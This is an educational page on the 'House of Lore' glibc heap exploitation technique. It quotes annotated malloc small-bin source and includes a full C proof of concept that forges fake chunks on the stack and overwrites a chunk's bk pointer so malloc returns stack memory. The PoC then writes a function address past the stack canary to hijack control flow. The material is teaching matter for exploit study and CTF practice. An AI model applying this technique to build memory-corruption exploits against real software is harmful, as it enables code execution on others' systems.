Skip to content

House of Lore

Overview

The House of Lore attack is closely related to the Small Bin mechanism in Glibc heap management.

House of Lore can achieve allocation of a chunk at any specified location, thereby modifying memory at an arbitrary address.

The prerequisite for House of Lore exploitation is the ability to control the bk pointer of a Small Bin Chunk, as well as the fd pointer of a chunk at the specified location.

Basic Principle

If during malloc, the requested memory block is within the small bin range, the execution flow is as follows:

    /*
       If a small request, check regular bin.  Since these "smallbins"
       hold one size each, no searching within bins is necessary.
       (For a large request, we need to wait until unsorted chunks are
       processed to find best fit. But for small ones, fits are exact
       anyway, so we can check now, which is faster.)
     */

    if (in_smallbin_range(nb)) {
        // Get the index of the small bin
        idx = smallbin_index(nb);
        // Get the chunk pointer in the corresponding small bin
        bin = bin_at(av, idx);
        // First execute victim = last(bin), get the last chunk of the small bin
        // If victim == bin, it means the bin is empty.
        // If they are not equal, there are two cases
        if ((victim = last(bin)) != bin) {
            // First case: the small bin has not been initialized yet.
            if (victim == 0) /* initialization check */
                // Perform initialization, consolidate chunks in fast bins
                malloc_consolidate(av);
            // Second case: there are free chunks in the small bin
            else {
                // Get the second-to-last chunk in the small bin.
                bck = victim->bk;
                // Check if bck->fd is victim, to prevent forgery
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // Set the inuse bit corresponding to victim
                set_inuse_bit_at_offset(victim, nb);
                // Modify the small bin linked list, remove the last chunk from the small bin
                bin->bk = bck;
                bck->fd = bin;
                // If it's not main_arena, set the corresponding flag
                if (av != &main_arena) set_non_main_arena(victim);
                // Detailed check
                check_malloced_chunk(av, victim, nb);
                // Convert the allocated chunk to the corresponding mem state
                void *p = chunk2mem(victim);
                // If perturb_type is set, initialize the obtained chunk to perturb_type ^ 0xff
                alloc_perturb(p, bytes);
                return p;
            }
        }
    }

From the following part, we can see:

                // Get the second-to-last chunk in the small bin.
                bck = victim->bk;
                // Check if bck->fd is victim, to prevent forgery
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // Set the inuse bit corresponding to victim
                set_inuse_bit_at_offset(victim, nb);
                // Modify the small bin linked list, remove the last chunk from the small bin
                bin->bk = bck;
                bck->fd = bin;

If we can modify the bk of the last chunk in the small bin to point to our specified memory address as a fake chunk, while also satisfying the subsequent bck->fd != victim check, then the small bin's bk will become exactly our constructed fake chunk. In other words, the next time a small bin allocation is requested, we will receive the fake chunk at the specified location.

Example Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake chunk on the stack");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(100);


  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

The code above is already very self-explanatory and will not be explained further.

However, it should be noted that:

  1. void *p5 = malloc(1000); is to prevent victim_chunk from being consolidated with top_chunk afterwards.

  2. After free((void*)victim), victim will be placed into the unsorted bin. Then, if the next allocation size is larger than the victim chunk, the allocation will come from the top chunk, and the victim chunk will be unlinked and placed into the corresponding bin. If the next allocation size is smaller (if equal, it is returned directly), the corresponding size will be carved from the victim chunk and the remainder becomes the last remainder chunk, still residing in the unsorted bin.

References